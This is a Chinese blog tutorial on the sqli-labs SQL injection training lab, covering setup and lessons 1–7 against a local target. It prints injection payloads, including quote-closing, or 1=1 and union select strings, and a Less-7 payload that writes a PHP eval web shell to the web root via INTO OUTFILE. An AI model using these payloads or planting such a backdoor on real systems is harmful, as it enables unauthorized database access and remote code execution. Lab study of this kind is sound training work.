sql注入学习 sqlliab教程 lesson1 (sqlliab搭建教程)

靶场搭建

小白建议直接用集成环境.推荐laragon (由于这套靶场较早,需要使用php7.0以下环境,安装完php laragon需要在安装php低版本,默认laragon只集成了一个7.0的php),

如果不懂怎么安装php低版本到laragon,推荐使用php study. 这款集成工具最大的亮点就是集成了php的各个版本,相比于laragon 可能配置则会稍微复杂点..

php study:

laragon:

 

关于环境,这里不过多介绍,有兴趣的自己了解一下,各有千秋.但本人更倾向于laragon. 

本套课程,所采用的集成环境为 php study.

搭建步骤

  获取源码. 自行百度或者通过我的分享.

# 链接:https://pan.baidu.com/s/1XS38kjkn52Y822oN7JOLyw 
# 提取码:fdbo 
# 复制这段内容后打开百度网盘手机App,操作更方便哦

文件解压到phpstudy下的WWW(点击网站根目录,拷贝的时候先把目录清空),完工! (此方法为替换了默认的站点信息.也可通过域名站点管理添加站点指定路径 修改本地host来完成. )

访问测试:

访问127.0.0.1: 

截至到此,安装没没有真正意义的完成.我们需要修改下php源码.找到数据库配置. 修改为你的数据库账号密码.:

完成后我们就可以进行闯关了..

 

less-1

访问less-1 看到如下页面.我们手工键入查询参数得知,此url是查询url. 所有的关卡只进行到发现注入点,(注意点方式很多,这里我只展示一种)不涉及暴库等操作.具体的可以自行研究.

键入常用的payload进行尝试. 成功!

通过修改源码, 输出对应sql语句,得知:

SELECT * FROM users WHERE id='1' LIMIT 0,1  # 原始sql
# 我使用的payload
SELECT * FROM users WHERE id='' or 1=1 -- '' LIMIT 0,1 

less-2

通过less-1 的套路,我在less-2的地址也加入了查询参数.得到的结果和less-1是一样的.

通过union联合查询 执行成功 由此断定sql存在注入漏洞.

1 # 原始sql
2 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
3 # payload
4 SELECT * FROM users WHERE id=-1 union select 1,2,3 -- '' LIMIT 0,1
pay load

less-3

打开url 我们还是老套路 先尝试在url后面加个闭合的单引号 看输出信息是否异常

可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢

首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1 

我们明显看到-1的右边多了一个' 这是似成相识的感觉吧,后面还有个),那么对于的左边也有(,我们看看代码是不是 id=('$id'),

# 使用的payload
id=-1%27)%20or%201=1%20--%20%27
id = -1')  or 1=1 -- '

less-4

按老套路 查询参数后面加单引号, 发现可以正常查询.试试双引号,结果就报错了,

为什么单引号不报错呢? 因为在sql查询语句中,单引号是可以包双引号的 

发现注入点之后  我们可以通过构造闭合双引号来尝试.

# 原始sql 
SELECT * FROM users WHERE id=("1") LIMIT 0,1
# payload
select * from users where id = ("-1") or 1=1 -- "") 

less-5

参考less -2 . (单引号)

less-6

参考less-2. (双引号)

less-7

看首页说是导出文件GET字符型注入,常用的语句是:  select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)

这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就/var/www/htm,/var/www/html/htdocs

下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)

首先介绍两个可以说是函数,还是变量的东西

@@datadir (读取数据库路径)
@@basedir (MYSQL 获取安装路径)

# payload
SELECT * FROM users WHERE id=(('-1')) or 1=1 -- '')) LIMIT 0,1
# 上传文件的payload
http://127.0.0.1/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["php09"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23

 

posted @ 2019-02-26 09:46  admin_root_root  阅读(1124)  评论(0编辑  收藏  举报